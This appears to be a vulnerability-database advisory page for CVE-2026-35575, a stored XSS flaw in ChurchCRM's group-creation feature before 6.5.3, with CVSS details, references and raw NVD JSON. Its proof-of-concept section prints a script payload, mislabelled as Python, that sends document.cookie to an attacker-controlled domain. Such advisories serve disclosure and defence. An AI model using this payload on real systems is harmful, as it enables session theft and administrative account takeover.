CVE-2026-35575

Description

ChurchCRM is an open-source church management system. Prior to 6.5.3, a Stored Cross-Site Scripting (Stored XSS) vulnerability in the admin panel’s group-creation feature allows any user with group-creation privileges to inject malicious JavaScript that executes automatically when an administrator views the page. This enables attackers to steal the administrator’s session cookies, potentially leading to full administrative account takeover. This vulnerability is fixed in 6.5.3.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE

ChurchCRM < 6.5.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Exploit Payload Injected in Group Name -->
<script>
  // Send current user's cookies to attacker's server
  var img = new Image();
  img.src = "https://attacker-controlled-domain.com/steal?c=" + encodeURIComponent(document.cookie);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35575
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35575
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35575/
[4] VulDB https://vuldb.com/cve/CVE-2026-35575
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-gc8q-2gw7-qj7w

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35575", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:42.077", "lastModified": "2026-04-09T18:47:25.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to 6.5.3, a Stored Cross-Site Scripting (Stored XSS) vulnerability in the admin panel’s group-creation feature allows any user with group-creation privileges to inject malicious JavaScript that executes automatically when an administrator views the page. This enables attackers to steal the administrator’s session cookies, potentially leading to full administrative account takeover. This vulnerability is fixed in 6.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-1004"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.5.3", "matchCriteriaId": "5B1435CA-1370-4154-85E0-6AF1846DEEBD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-gc8q-2gw7-qj7w", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}